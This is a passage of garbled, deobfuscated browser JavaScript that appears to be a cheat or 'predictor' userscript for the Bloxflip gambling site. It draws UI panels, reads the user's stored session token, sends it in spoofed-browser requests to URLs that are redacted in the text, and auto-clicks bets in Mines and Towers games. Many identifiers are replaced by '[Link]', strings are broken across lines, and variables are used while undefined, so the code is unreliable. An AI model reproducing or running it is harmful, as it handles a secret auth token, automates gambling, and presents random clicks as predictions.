--baseColor: #7767C9;\n --hoverColor: " +
loghistory + ";\n --activeColor: " +
highestVersion + ";\n }\n
";
/** @type {!Element} */
var fontEl = [Link]("style");
/** @type {string} */
[Link] = attributeTemplate;
[Link](fontEl);
[Link]("baseColor", "#7767C9");
[Link]("hoverColor", loghistory);
[Link]("activeColor", highestVersion);
};
/**
* @param {string} val
* @return {undefined}
*/
var resize = function(val) {
var from = parse(val);
/** @type {number} */
var _0x2ad55f = [Link](from.l + 10, 100);
/** @type {string} */
var loghistory = "hsl(" + from.h + ", " + from.s + "%, " +
_0x2ad55f + "%)";
/** @type {number} */
var _0x33b491 = [Link](from.l - 20, 0);
/** @type {string} */
var highestVersion = "hsl(" + from.h + ", " + from.s + "%, " +
_0x33b491 + "%)";
/** @type {string} */
var attributeTemplate = "\
n :root {\n
--baseColor: " + val + ";\n --hoverColor: "
+ loghistory + ";\n --activeColor: " +
highestVersion + ";\n }\n
";
/** @type {!Element} */
var fontEl = [Link]("style");
/** @type {string} */
[Link] = attributeTemplate;
[Link](fontEl);
[Link]("baseColor", val);
[Link]("hoverColor", loghistory);
[Link]("activeColor", highestVersion);
};
/**
* @param {string} str
* @return {?}
*/
var parse = function(str) {
/** @type {number} */
var _redLevel = parseInt([Link](1, 2), 16) / 255;
/** @type {number} */
var _greenLevel = parseInt([Link](3, 2), 16) / 255;
/** @type {number} */
var _blueLevel = parseInt([Link](5, 2), 16) / 255;
/** @type {number} */
var _maxLevel = [Link](_redLevel, _greenLevel, _blueLevel);
/** @type {number} */
var _minLevel = [Link](_redLevel, _greenLevel, _blueLevel);
/** @type {number} */
var paddedWidth = (_maxLevel + _minLevel) / 2;
var h;
var s;
if (_maxLevel === _minLevel) {
/** @type {number} */
h = s = 0;
} else {
/** @type {number} */
var _maxMinLevelDelta = _maxLevel - _minLevel;
/** @type {number} */
s = paddedWidth > 0.5 ? _maxMinLevelDelta / (2 - _maxLevel -
_minLevel) : _maxMinLevelDelta / (_maxLevel + _minLevel);
switch(_maxLevel) {
case _redLevel:
/** @type {number} */
h = (_greenLevel - _blueLevel) / _maxMinLevelDelta +
(_greenLevel < _blueLevel ? 6 : 0);
break;
case _greenLevel:
/** @type {number} */
h = (_blueLevel - _redLevel) / _maxMinLevelDelta + 2;
break;
case _blueLevel:
/** @type {number} */
h = (_redLevel - _greenLevel) / _maxMinLevelDelta + 4;
break;
}
/** @type {number} */
h = h / 6;
}
var hsl = {
h : h * 360,
s : s * 100,
l : paddedWidth * 100
};
return hsl;
};
/**
* @return {undefined}
*/
var move = function() {
/**
* @return {undefined}
*/
function resize() {
if ([Link] === "Dark") {
/** @type {string} */
[Link] = "Light";
next();
} else {
/** @type {string} */
[Link] = "Dark";
callback();
}
}
/**
* @return {undefined}
*/
function callback() {
/** @type {!Element} */
var fontEl = [Link]("style");
/** @type {string} */
[Link] = "\n
:root {\n --themeBaseColor: #141414;\n
--themeSecondColor: #1a1a1a;\n --
themeThirdColor: #1f1f1f;\n --
themeFourthColor: #ffffff;\n }\n
";
[Link](fontEl);
[Link]("themeBaseColor", "#141414");
[Link]("themeSecondColor", "#1a1a1a");
[Link]("themeThirdColor", "#1f1f1f");
[Link]("themeFourthColor", "#ffffff");
}
/**
* @return {undefined}
*/
function next() {
/** @type {!Element} */
var fontEl = [Link]("style");
/** @type {string} */
[Link] = "\n
:root {\n --themeBaseColor: #e3e3e3;\n
--themeSecondColor: #f0f0f0;\n --
themeThirdColor: #f5f5f5;\n --
themeFourthColor: #000000;\n }\n
";
[Link](fontEl);
[Link]("themeBaseColor", "#e3e3e3");
[Link]("themeSecondColor", "#f0f0f0");
[Link]("themeThirdColor", "#f5f5f5");
[Link]("themeFourthColor", "#000000");
}
[Link]("beforeend", '\n
<div id="colorPickerWindow">\n <div
id="colorPickerTitleBar">\n <div
id="colorPickerTitleContainer">\n
<span id="colorPickerTitle">Color Picker</span>\n
</div>\n <button
id="colorExitButton">-</button>\n
</div>\n <div
id="colorPickerContainer" class="centered">\n
<div id="colorPickerButtons1" class="centered">\n
<input type="color" id="colorPicker" class="centered">\n
</div>\n <div
id="colorPickerButtons" class="centered">\n
<button id="applyButton">Apply</button>\n
<button id="cancelButton">Cancel</button>\n
</div>\n <div
id="colorPickerButtons2" class="centered">\n
<button id="resetButton">Reset</button>\n
<button id="themeButton">Theme</button>\n
</div>\n </div>\n
</div>\n ');
/** @type {(Element|null)} */
var divDot = [Link]("colorPickerWindow");
/** @type {(Element|null)} */
var c = [Link]("colorPicker");
/** @type {(Element|null)} */
var openLoginScreenBtn = [Link]("applyButton");
/** @type {(Element|null)} */
var cancelButton = [Link]("cancelButton");
/** @type {(Element|null)} */
var resetButton = [Link]("resetButton");
/** @type {(Element|null)} */
var ajaxButton = [Link]("colorExitButton");
/** @type {(Element|null)} */
var exports = [Link]("themeButton");
/** @type {string} */
[Link] =
getComputedStyle([Link]).getPropertyValue("--baseColor");
/** @type {!ClientRect} */
var targetShapeBounds = [Link]();
/** @type {number} */
var targetL = [Link] + [Link] /
2 - [Link] / 2;
/** @type {number} */
var y_body_bottom = [Link] +
[Link] / 2 - [Link] / 2;
/** @type {(Element|null)} */
var iframe = [Link]("settingsWindow");
/** @type {string} */
[Link] = targetL + "px";
/** @type {string} */
[Link] = y_body_bottom + "px";
[Link]("click", function() {
resize([Link]);
[Link]();
/** @type {string} */
[Link] = "auto";
/** @type {string} */
[Link] = "none";
/** @type {string} */
[Link] = "none";
push(event);
});
[Link]("click", function() {
[Link]();
/** @type {string} */
[Link] = "auto";
/** @type {string} */
[Link] = "none";
/** @type {string} */
[Link] = "none";
push(event);
});
[Link]("click", function() {
[Link]();
/** @type {string} */
[Link] = "auto";
/** @type {string} */
[Link] = "none";
/** @type {string} */
[Link] = "none";
push(event);
});
[Link]("click", function() {
initialize();
[Link]();
/** @type {string} */
[Link] = "auto";
/** @type {string} */
[Link] = "none";
/** @type {string} */
[Link] = "none";
push(event);
});
[Link]("click", function() {
resize();
push(event);
});
};
/**
* @return {undefined}
*/
var render = function() {
/**
* @return {undefined}
*/
function save() {
if (code) {
/** @type {string} */
[Link] = "Safe (" + lang + ")";
} else {
/** @type {string} */
[Link] = "Safe (none)";
}
}
/**
* @param {!Function} error
* @return {undefined}
*/
function select(error) {
/** @type {!Function} */
code = error;
if (code) {
/** @type {string} */
lang = [Link](code);
} else {
/** @type {string} */
lang = "none";
}
[Link]("safeKeyCode", code);
[Link]("safeChosenKey", lang);
save();
[Link]("keydown",
changeCodemirrorHeight);
push(event);
}
/**
* @param {!Event} event
* @return {undefined}
*/
function changeCodemirrorHeight(event) {
if ([Link] === 27) {
select(null);
} else {
select([Link]);
}
}
/**
* @return {undefined}
*/
function syncVerticalScroll() {
if (i) {
/** @type {string} */
[Link] = "Mines (" + token + ")";
} else {
/** @type {string} */
[Link] = "Mines (none)";
}
}
/**
* @param {!Function} start
* @return {undefined}
*/
function render(start) {
/** @type {!Function} */
i = start;
if (i) {
/** @type {string} */
token = [Link](i);
} else {
/** @type {string} */
token = "none";
}
[Link]("minesKeyCode", i);
[Link]("minesChosenKey", token);
syncVerticalScroll();
[Link]("keydown", keyup);
push(event);
}
/**
* @param {!Event} options
* @return {undefined}
*/
function keyup(options) {
if ([Link] === 27) {
render(null);
} else {
render([Link]);
}
}
/**
* @return {undefined}
*/
function getPath() {
if (raw) {
/** @type {string} */
[Link] = "Crash (" + str + ")";
} else {
/** @type {string} */
[Link] = "Crash (none)";
}
}
/**
* @param {!Function} data
* @return {undefined}
*/
function stop(data) {
/** @type {!Function} */
raw = data;
if (raw) {
/** @type {string} */
str = [Link](raw);
} else {
/** @type {string} */
str = "none";
}
[Link]("crashKeyCode", raw);
[Link]("crashChosenKey", str);
getPath();
[Link]("keydown", press);
push(event);
}
/**
* @param {!Event} e
* @return {undefined}
*/
function press(e) {
if ([Link] === 27) {
stop(null);
} else {
stop([Link]);
}
}
/**
* @return {undefined}
*/
function add() {
if (x) {
/** @type {string} */
[Link] = "Slide (" + state +
")";
} else {
/** @type {string} */
[Link] = "Slide (none)";
}
}
/**
* @param {!Function} currentIndex
* @return {undefined}
*/
function callback(currentIndex) {
/** @type {!Function} */
x = currentIndex;
if (x) {
/** @type {string} */
state = [Link](x);
} else {
/** @type {string} */
state = "none";
}
[Link]("slideKeyCode", x);
[Link]("slideChosenKey", state);
add();
[Link]("keydown", onKeyDown);
push(event);
}
/**
* @param {!Event} event
* @return {undefined}
*/
function onKeyDown(event) {
if ([Link] === 27) {
callback(null);
} else {
callback([Link]);
}
}
/**
* @return {undefined}
*/
function createElement() {
if (c) {
/** @type {string} */
[Link] = "Towers (" + type + ")";
} else {
/** @type {string} */
[Link] = "Towers (none)";
}
}
/**
* @param {!Function} resolve
* @return {undefined}
*/
function update(resolve) {
/** @type {!Function} */
c = resolve;
if (c) {
/** @type {string} */
type = [Link](c);
} else {
/** @type {string} */
type = "none";
}
[Link]("towersKeyCode", c);
[Link]("towersChosenKey", type);
createElement();
[Link]("keydown", remove);
push(event);
}
/**
* @param {!Event} event
* @return {undefined}
*/
function remove(event) {
if ([Link] === 27) {
update(null);
} else {
update([Link]);
}
}
/**
* @return {undefined}
*/
function error() {
if (n === 16) {
/** @type {string} */
key = "shift";
}
if (n) {
/** @type {string} */
[Link] = "Menu (" + key + ")";
} else {
/** @type {string} */
[Link] = "Menu (none)";
}
}
/**
* @param {number} url
* @return {undefined}
*/
function keyHandler(url) {
/** @type {number} */
n = url;
if (n) {
/** @type {string} */
key = [Link](n);
} else {
/** @type {string} */
key = "none";
}
[Link]("menuKeyCode", n);
[Link]("menuChosenKey", key);
error();
[Link]("keydown", onKeyPress);
push(event);
}
/**
* @param {!Event} e
* @return {undefined}
*/
function onKeyPress(e) {
if ([Link] === 27) {
keyHandler(0);
} else {
keyHandler([Link]);
}
}
[Link]("beforeend", '\n
<div id="keyBindsWindow">\n <div
id="keyBindsTitleBar">\n <div
id="keyBindsTitleContainer">\n
<span id="keyBindsTitle">Keybinds</span>\n
</div>\n <button
id="bindExitButton">-</button>\n </div>\
n <div id="keyBindsContainer"
class="centered">\n <div id="row1"
class="centered">\n <button
id="safeBindButton">Safe</button>\n
<button id="minesBindButton">Mines</button>\n
</div>\n <div id="row2"
class="centered">\n <button
id="slideBindButton">Slide</button>\n
<button id="crashBindButton">Crash</button>\n
</div>\n <div id="row3"
class="centered">\n <button
id="towersBindButton">Towers</button>\n
<button id="menuBindButton">Menu</button>\n
</div>\n </div>\n
</div>\n ');
/** @type {(Element|null)} */
var divDot = [Link]("keyBindsWindow");
/** @type {(Element|null)} */
var copyableContent = [Link]("safeBindButton");
/** @type {(Element|null)} */
var jsHintStatusBar = [Link]("minesBindButton");
/** @type {(Element|null)} */
var weightButton = [Link]("crashBindButton");
/** @type {(Element|null)} */
var toggleHighlightedCourses =
[Link]("slideBindButton");
/** @type {(Element|null)} */
var orientationButton =
[Link]("towersBindButton");
/** @type {(Element|null)} */
var threeDBtn = [Link]("menuBindButton");
/** @type {(Element|null)} */
var lAActionRemove = [Link]("bindExitButton");
/** @type {!ClientRect} */
var targetShapeBounds = [Link]();
/** @type {number} */
var targetL = [Link] + [Link] /
2 - [Link] / 2;
/** @type {number} */
var y_body_bottom = [Link] +
[Link] / 2 - [Link] / 2;
/** @type {(Element|null)} */
var iframe = [Link]("settingsWindow");
/** @type {string} */
[Link] = targetL + "px";
/** @type {string} */
[Link] = y_body_bottom + "px";
[Link]("click", function() {
[Link]();
/** @type {string} */
[Link] = "auto";
/** @type {string} */
[Link] = "none";
/** @type {string} */
[Link] = "none";
push(event);
});
/** @type {number} */
var code = parseInt([Link]("safeKeyCode"));
var lang = [Link]("safeChosenKey") || "";
/** @type {number} */
var i = parseInt([Link]("minesKeyCode"));
var token = [Link]("minesChosenKey") || "";
/** @type {number} */
var raw = parseInt([Link]("crashKeyCode"));
var str = [Link]("crashChosenKey") || "";
/** @type {number} */
var x = parseInt([Link]("slideKeyCode"));
var state = [Link]("slideChosenKey") || "";
/** @type {number} */
var c = parseInt([Link]("towersKeyCode"));
var type = [Link]("towersChosenKey") || "";
/** @type {number} */
var n = parseInt([Link]("menuKeyCode")) || 16;
var key = [Link]("menuChosenKey") || "shift";
[Link]("click", function() {
/** @type {string} */
[Link] = "Safe (...)";
[Link]("keydown", changeCodemirrorHeight);
});
if (code) {
[Link]("keydown", function(event) {
if ([Link] === code) {
load();
}
});
}
save();
[Link]("click", function() {
/** @type {string} */
[Link] = "Mines (...)";
[Link]("keydown", keyup);
});
if (i) {
[Link]("keydown", function(event) {
if ([Link] === i) {
start();
}
});
}
syncVerticalScroll();
[Link]("click", function() {
/** @type {string} */
[Link] = "Crash (...)";
[Link]("keydown", press);
});
if (raw) {
[Link]("keydown", function(event) {
if ([Link] === raw) {
init();
}
});
}
getPath();
[Link]("keydown", function(event) {
if ([Link] === 27) {
[Link]();
}
});
[Link]("click", function() {
/** @type {string} */
[Link] = "Slide (...)";
[Link]("keydown", onKeyDown);
});
if (x) {
[Link]("keydown", function(v) {
if ([Link] === x) {
go();
}
});
}
add();
[Link]("keydown", function(event) {
if ([Link] === 27) {
[Link]();
}
});
[Link]("click", function() {
/** @type {string} */
[Link] = "Towers (...)";
[Link]("keydown", remove);
});
if (c) {
[Link]("keydown", function(event) {
if ([Link] === c) {
create();
}
});
}
createElement();
[Link]("keydown", function(event) {
if ([Link] === 27) {
[Link]();
}
});
[Link]("click", function() {
/** @type {string} */
[Link] = "Menu (...)";
[Link]("keydown", onKeyPress);
});
error();
[Link]("keydown", function(event) {
if ([Link] === 27) {
[Link]();
}
});
};
/**
* @param {?} level
* @return {undefined}
*/
var request = function(level) {
/** @type {!Headers} */
var headers = new Headers;
[Link]("User-Agent", "Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141
Safari/537.36");
[Link]("X-Auth-Token", value);
var params = {
method : "GET",
headers : headers
};
fetch("[Link]
params).then((rawResp) => {
return [Link]();
}).then((game) => {
var buildingName = [Link];
if (buildingName) {
var mode = [Link];
if (mode === "hard") {
/** @type {(Element|null)} */
var statusSpan =
[Link]("predictionLabel");
/** @type {string} */
[Link] = "Cannot predict for hard
difficulty";
/** @type {string} */
[Link] = "24px";
/** @type {string} */
[Link] = "30px";
/** @type {!NodeList<Element>} */
var pipelets =
[Link](".button_button__eJwei.towers_towersGameButton__Fm2im");
[Link](function(focusedObj) {
[Link]("safeoutlined");
});
return;
}
var params = {
method : "GET",
headers : headers
};
fetch("[Link]
size=5&page=0", params).then((rawResp) => {
return [Link]();
}).then((simpleselect) => {
/**
* @param {!Object} state
* @return {?}
*/
function getDisabledActions(state) {
return [Link](function(canCreateDiscussions,
isSlidingUp) {
return canCreateDiscussions + (isSlidingUp === 1 ? 1 :
0);
}, 0);
}
/**
* @param {number} i
* @return {undefined}
*/
function check(i) {
if (i < 0 || to === 0) {
return;
}
/** @type {!Element} */
var ball = _ball[i];
[Link]();
to--;
setTimeout(function() {
check(i - 1);
}, 1250);
}
var _horizontalTileCache =
[Link][1].towerLevels;
_horizontalTileCache.reverse();
var pipelets;
var groupType = [Link][1].difficulty;
if (groupType === "normal") {
/** @type {!NodeList<Element>} */
pipelets =
[Link](".towers_towersGameRow__TeoqD");
} else {
/** @type {!NodeList<Element>} */
pipelets =
[Link](".towers_towersGameRow__TeoqD.towers_towersGameThreeRows_
_NHpS9");
}
[Link](function(rootDOMTravelScope, graphicValue)
{
/** @type {!NodeList<Element>} */
var pipelets =
[Link](".towers_towersGameRowContainer__W4mP_");
/** @type {number} */
var out_len = 0;
/** @type {null} */
var dayEle = null;
[Link](function(rootDOMTravelScope, curZoom) {
/** @type {!NodeList<Element>} */
var _0x5d6acb =
[Link](".button_button__eJwei.towers_towersGameButton_
_Fm2im");
var out_sample =
getDisabledActions(_horizontalTileCache[graphicValue]);
if (_horizontalTileCache[graphicValue][curZoom] === 1
&& out_sample >= out_len) {
out_len = out_sample;
/** @type {!Element} */
dayEle = _0x5d6acb[0];
}
});
if (dayEle) {
[Link]("safeoutlined", "active");
}
});
/** @type {!NodeList<Element>} */
var _ball =
[Link](".button_button__eJwei.towers_towersGameButton__Fm2im.saf
eoutlined");
/** @type {number} */
var historyId = _ball.length - 1;
/** @type {number} */
var to = [Link](level, historyId + 1);
check(historyId);
});
} else {
}
})["catch"]((canCreateDiscussions) => {
});
};
/**
* @return {undefined}
*/
var verifyMany = function() {
var token = [Link]("_DO_NOT_SHARE_BLOXFLIP_TOKEN");
var headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",
"X-Auth-Token" : token
};
var params = {
method : "GET",
headers : headers
};
fetch("[Link]
params).then((rawResp) => {
return [Link]();
}).then((instance) => {
var $asyncTable = [Link];
if ($asyncTable) {
/** @type {(Element|null)} */
var imgchk =
[Link](".button_secondary__dwIbt.gameBetSubmit");
if (imgchk) {
[Link]();
}
setTimeout(function() {
/** @type {(Element|null)} */
var imgchk =
[Link](".button_primary__mdLFG.gameBetSubmit");
if (imgchk) {
[Link]();
}
setTimeout(function() {
request();
}, 3000);
}, 3000);
} else {
/** @type {(Element|null)} */
if (imgchk) {
[Link]();
}
setTimeout(function() {
request();
}, 2000);
}
})["catch"]((canCreateDiscussions) => {
});
};
/**
* @return {undefined}
*/
var message = function() {
push(event);
/** @type {boolean} */
_0x188494 = !_0x188494;
/** @type {(Element|null)} */
var td1b2 = [Link]("towersPlayButton");
if (_0x188494) {
/** @type {string} */
[Link] = "Auto play (On)";
/** @type {number} */
initializeCheckTimer = setInterval(verifyMany, 2000);
} else {
/** @type {string} */
[Link] = "Auto play (Off)";
clearInterval(initializeCheckTimer);
}
};
/**
* @return {undefined}
*/
var enableDialog = function() {
/** @type {(Element|null)} */
var battery =
[Link](".button_primary__mdLFG.gameBetSubmit");
if (battery) {
[Link]("click", eventHandler);
}
};
/**
* @return {undefined}
*/
var hide = function() {
/** @type {(Element|null)} */
var battery =
[Link](".button_button__eJwei.button_primary__mdLFG.gameBetSubmit")
;
if (battery) {
[Link]("click", eventHandler);
}
};
/**
* @return {undefined}
*/
var eventHandler = function() {
setTimeout(create, 500);
};
/**
* @return {undefined}
*/
var cancel = function() {
push(event);
/** @type {boolean} */
_0x4203c5 = !_0x4203c5;
/** @type {(Element|null)} */
var td1b2 = [Link]("towersAutoPredictButton");
if (_0x4203c5) {
/** @type {string} */
[Link] = "Auto predict (On)";
hide();
} else {
/** @type {string} */
[Link] = "Auto predict (Off)";
enableDialog();
}
};
/**
* @return {undefined}
*/
var open = function() {
[Link]("beforeend", '\n
<div id="towersAutoPlayWindow">\n <div
id="towersAutoPlayTitleBar">\n <div
id="towersAutoPlayTitleContainer">\n
<span id="towersAutoPlayTitle">Auto Towers</span>\n
</div>\n <button
id="towersAutoExitButton">-</button>\n
</div>\n <div
id="towersAutoPlayContainer" class="centered">\n
<div id="row1" class="centered">\n
<button id="towersPlayButton">Auto play</button>\n
<button id="towersAutoPredictButton">Auto predict</button>\n
</div>\n <div id="autorow2"
class="centered">\n <label
id="spotsSliderLabel" for="spotsSlider">Spots:</label>\n
<span id="spotsLabel">1</span>\n
</div>\n <div id="row3"
class="centered">\n <input
type="range" id="spotsSlider" min="1" max="8" value="1">\n
</div>\n </div>\n
</div>\n ');
/** @type {(Element|null)} */
var divDot = [Link]("towersAutoPlayWindow");
/** @type {(Element|null)} */
var box = [Link]("towersPlayButton");
/** @type {(Element|null)} */
var editable =
[Link]("towersAutoPredictButton");
/** @type {(Element|null)} */
var directButton =
[Link]("towersAutoExitButton");
/** @type {(Element|null)} */
var bumpLimit = [Link]("spotsSlider");
/** @type {(Element|null)} */
var percentNumber = [Link]("spotsLabel");
/** @type {!ClientRect} */
var targetShapeBounds = [Link]();
/** @type {number} */
var targetL = [Link] + [Link] /
2 - [Link] / 2;
/** @type {number} */
var y_body_bottom = [Link] +
[Link] / 2 - [Link] / 2;
/** @type {(Element|null)} */
var iframe = [Link]("settingsWindow");
/** @type {string} */
[Link] = targetL + "px";
/** @type {string} */
[Link] = y_body_bottom + "px";
[Link]("click", cancel);
[Link]("click", message);
[Link]("click", function() {
[Link]();
/** @type {string} */
[Link] = "auto";
/** @type {string} */
[Link] = "none";
/** @type {string} */
[Link] = "none";
push(event);
});
[Link]("input", function() {
/** @type {number} */
var title = parseInt([Link]);
/** @type {number} */
[Link] = title;
/** @type {string} */
var buttonDownColor = "linear-gradient(to right, var(--
baseColor) 0%, var(--baseColor) " + (title - 1) / 8 * 100 + "%, #383838 " + (title
- 1) / 8 * 100 + "%, #383838 100%)";
/** @type {string} */
[Link] = buttonDownColor;
push(event);
});
};
/**
* @return {undefined}
*/
var getLibrary = function() {
var token = [Link]("_DO_NOT_SHARE_BLOXFLIP_TOKEN");
var headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",
"X-Auth-Token" : token
};
var params = {
method : "GET",
headers : headers
};
fetch("[Link]
size=5&page=0", params).then((rawResp) => {
return [Link]();
}).then((ar2) => {
if ([Link] === true && [Link]([Link])) {
/** @type {!Array} */
var cells = [];
[Link](function(data) {
if ([Link]([Link])) {
cells = [Link]([Link]);
}
});
var pipelets = [Link](function(canCreateDiscussions) {
return canCreateDiscussions + 1;
});
var b = {};
[Link](function(paramName) {
if (b[paramName] === undefined) {
/** @type {number} */
b[paramName] = 1;
} else {
b[paramName]++;
}
});
/** @type {!Array<string>} */
var charListNotLatin = [Link](b).sort(function(key,
sort) {
return b[sort] - b[key];
});
/** @type {!Array<string>} */
var stack = [Link](0, 4);
[Link]();
setTimeout(function() {
/** @type {(Element|null)} */
var imgchk =
[Link](".button_secondary__dwIbt.gameBetSubmit");
if (imgchk) {
[Link]();
}
try {
/**
* @param {number} i
* @return {undefined}
*/
var show = function(i) {
if (i >= yearStart) {
/** @type {(Element|null)} */
var imgchk =
[Link](".button_secondary__dwIbt.gameBetSubmit");
if (imgchk) {
[Link]();
}
return;
}
/** @type {string} */
var ts = stack[i];
/** @type {number} */
var sec = ts - 1;
/** @type {number} */
var heightInc = [Link](sec / 5);
/** @type {number} */
var sec_ones = sec % 5;
/** @type {number} */
var initHeight = 4 - sec_ones;
/** @type {number} */
var len = heightInc * 5 + initHeight + 1;
if (len >= 1 && len <= 25) {
children[len - 1].click();
}
setTimeout(function() {
show(i + 1);
}, 125);
};
/** @type {(Element|null)} */
var encodeQuality =
[Link]("spotsSlider");
/** @type {number} */
var yearStart = parseInt([Link]);
/** @type {!NodeList<Element>} */
var children =
[Link](".mines_minesGameItem__S2ytQ");
show(0);
} catch (_0xee30e0) {
}
}, 1250);
} else {
/** @type {(Element|null)} */
var statusSpan = [Link]("predictionLabel");
/** @type {string} */
[Link] = "Invalid API Response";
/** @type {string} */
[Link] = "24px";
/** @type {string} */
[Link] = "30px";
}
})["catch"]((canCreateDiscussions) => {
});
};
/**
* @return {undefined}
*/
var ready = function() {
var token = [Link]("_DO_NOT_SHARE_BLOXFLIP_TOKEN");
var headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",
"X-Auth-Token" : token
};
var params = {
method : "GET",
headers : headers
};
fetch("[Link]
size=5&page=0", params).then((rawResp) => {
return [Link]();
}).then((ar2) => {
if ([Link] === true && [Link]([Link])) {
/** @type {!Array} */
var sortedFolderIds = [];
var suggestionsAndFinalScore = {};
[Link](function(params) {
if ([Link]([Link])) {
sortedFolderIds =
[Link]([Link]);
suggestionsAndFinalScore[[Link]] = [Link];
}
});
var charListNotLatin =
[Link](function(secondSuggestion, firstSuggestion) {
return suggestionsAndFinalScore[secondSuggestion] -
suggestionsAndFinalScore[firstSuggestion];
});
var path = [Link](0, 8);
var elmObjsSorted = [Link]().reverse();
var uniqueConnectors = [Link](0, 4);
setTimeout(function() {
/** @type {(Element|null)} */
var imgchk =
[Link](".button_secondary__dwIbt.gameBetSubmit");
if (imgchk) {
[Link]();
}
try {
/**
* @param {number} result
* @return {undefined}
*/
var callback = function(result) {
if (result >= skip) {
/** @type {(Element|null)} */
var imgchk =
[Link](".button_secondary__dwIbt.gameBetSubmit");
if (imgchk) {
[Link]();
}
return;
}
/** @type {number} */
var i = [Link]([Link]() * [Link]);
var n = s[i];
[Link](i, 1);
children[n - 1].click();
setTimeout(function() {
callback(result + 1);
}, 125);
};
/** @type {(Element|null)} */
var encodeQuality =
[Link]("spotsSlider");
/** @type {number} */
var skip = parseInt([Link]);
/** @type {!NodeList<Element>} */
var children =
[Link](".mines_minesGameItem__S2ytQ");
/** @type {!Array<undefined>} */
var s = [...Array(25).keys()].map((canCreateDiscussions)
=> {
return canCreateDiscussions + 1;
}).filter((testFilePath) => {
return ![Link](testFilePath) && !
[Link](testFilePath);
});
callback(0);
} catch (_0x2f4e1c) {
}
}, 1250);
} else {
/** @type {(Element|null)} */
var statusSpan = [Link]("predictionLabel");
/** @type {string} */
[Link] = "Invalid API Response";
/** @type {string} */
[Link] = "24px";
/** @type {string} */
[Link] = "30px";
}
})["catch"]((canCreateDiscussions) => {
});
};
/**
* @return {undefined}
*/
var fetchGitUserInfo = function() {
var token = [Link]("_DO_NOT_SHARE_BLOXFLIP_TOKEN");
var headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",
"X-Auth-Token" : token
};
var params = {
method : "GET",
headers : headers
};
fetch("[Link]
params).then((rawResp) => {
return [Link]();
}).then((instance) => {
var $asyncTable = [Link];
if ($asyncTable) {
/** @type {(Element|null)} */
var imgchk =
[Link](".button_secondary__dwIbt.gameBetSubmit");
if (imgchk) {
[Link]();
}
setTimeout(function() {
/** @type {(Element|null)} */
var imgchk =
[Link](".button_primary__mdLFG.gameBetSubmit");
if (imgchk) {
[Link]();
}
setTimeout(function() {
if (_0x40d368) {
getLibrary();
} else {
ready();
}
}, 1250);
}, 1250);
} else {
/** @type {(Element|null)} */
if (imgchk) {
[Link]();
}
setTimeout(function() {
if (_0x40d368) {
getLibrary();
} else {
ready();
}
}, 1250);
}
})["catch"]((canCreateDiscussions) => {
});
};
/**
* @return {undefined}
*/
var pointerEndHandler = function() {
setTimeout(load, 500);
};
/**
* @return {undefined}
*/
var mouseup_handler = function() {
setTimeout(start, 500);
};
/**
* @return {undefined}
*/
var set = function() {
/** @type {(Element|null)} */
var el =
[Link](".button_primary__mdLFG.gameBetSubmit");
if (el) {
[Link]("click", pointerEndHandler);
}
};
/**
* @return {undefined}
*/
var add = function() {
/** @type {(Element|null)} */
var el =
[Link](".button_button__eJwei.button_primary__mdLFG.gameBetSubmit")
;
if (el) {
[Link]("click", pointerEndHandler);
}
};
/**
* @return {undefined}
*/
var addEventListener = function() {
/** @type {(Element|null)} */
var canvas =
[Link](".button_primary__mdLFG.gameBetSubmit");
if (canvas) {
[Link]("click", mouseup_handler);
}
};
/**
* @return {undefined}
*/
var get = function() {
/** @type {(Element|null)} */
var canvas =
[Link](".button_button__eJwei.button_primary__mdLFG.gameBetSubmit")
;
if (canvas) {
[Link]("click", mouseup_handler);
}
};
/**
* @return {undefined}
*/
var onClick = function() {
push(event);
/** @type {boolean} */
_0x2274f3 = !_0x2274f3;
/** @type {(Element|null)} */
var td1b2 = [Link]("minesAutoPredictButton");
if (_0x2274f3) {
/** @type {string} */
[Link] = "Auto predict (On)";
if (_0x40d368) {
add();
} else {
get();
}
} else {
/** @type {string} */
[Link] = "Auto predict (Off)";
if (_0x40d368) {
set();
} else {
addEventListener();
}
}
};
/**
* @return {undefined}
*/
var clickHandler = function() {
push(event);
/** @type {boolean} */
_0x188494 = !_0x188494;
/** @type {(Element|null)} */
var td1b2 = [Link]("minesPlayButton");
if (_0x188494) {
/** @type {string} */
[Link] = "Auto play (On)";
/** @type {number} */
_td_alert = setInterval(fetchGitUserInfo, 2000);
} else {
/** @type {string} */
[Link] = "Auto play (Off)";
clearInterval(_td_alert);
}
};
/**
* @return {undefined}
*/
var softShowFieldDetails = function() {
push(event);
/** @type {boolean} */
_0x40d368 = !_0x40d368;
/** @type {(Element|null)} */
var td1b2 = [Link]("predictionTypeButton");
if (_0x40d368) {
/** @type {string} */
[Link] = "Safe";
addEventListener();
add();
} else {
/** @type {string} */
[Link] = "Mines";
set();
get();
}
};
/**
* @return {undefined}
*/
var build = function() {
[Link]("beforeend", '\n
<div id="minesAutoPlayWindow">\n <div
id="minesAutoPlayTitleBar">\n <div
id="minesAutoPlayTitleContainer">\n
<span id="minesAutoPlayTitle">Auto Mines</span>\n
</div>\n <button
id="minesAutoExitButton">-</button>\n
</div>\n <div
id="minesAutoPlayContainer" class="centered">\n
<div id="row1" class="centered">\n
<button id="minesPlayButton">Auto play</button>\n
<button id="minesAutoPredictButton">Auto predict</button>\n
</div>\n <div id="autorow2"
class="centered">\n <button
id="predictionTypeButton">Mines</button>\n
</div>\n <div id="row3"
class="centered">\n <label
id="spotsSliderLabel" for="spotsSlider">Spots:</label>\n
<span id="spotsLabel">1</span>\n
</div>\n <div id="row4"
class="centered">\n <input
type="range" id="spotsSlider" min="1" max="24" value="1">\n
</div>\n </div>\n
</div>\n ');
/** @type {(Element|null)} */
var divDot = [Link]("minesAutoPlayWindow");
/** @type {(Element|null)} */
var elem = [Link]("minesPlayButton");
/** @type {(Element|null)} */
var _eleChordList =
[Link]("minesAutoPredictButton");
/** @type {(Element|null)} */
var ajaxButton = [Link]("minesAutoExitButton");
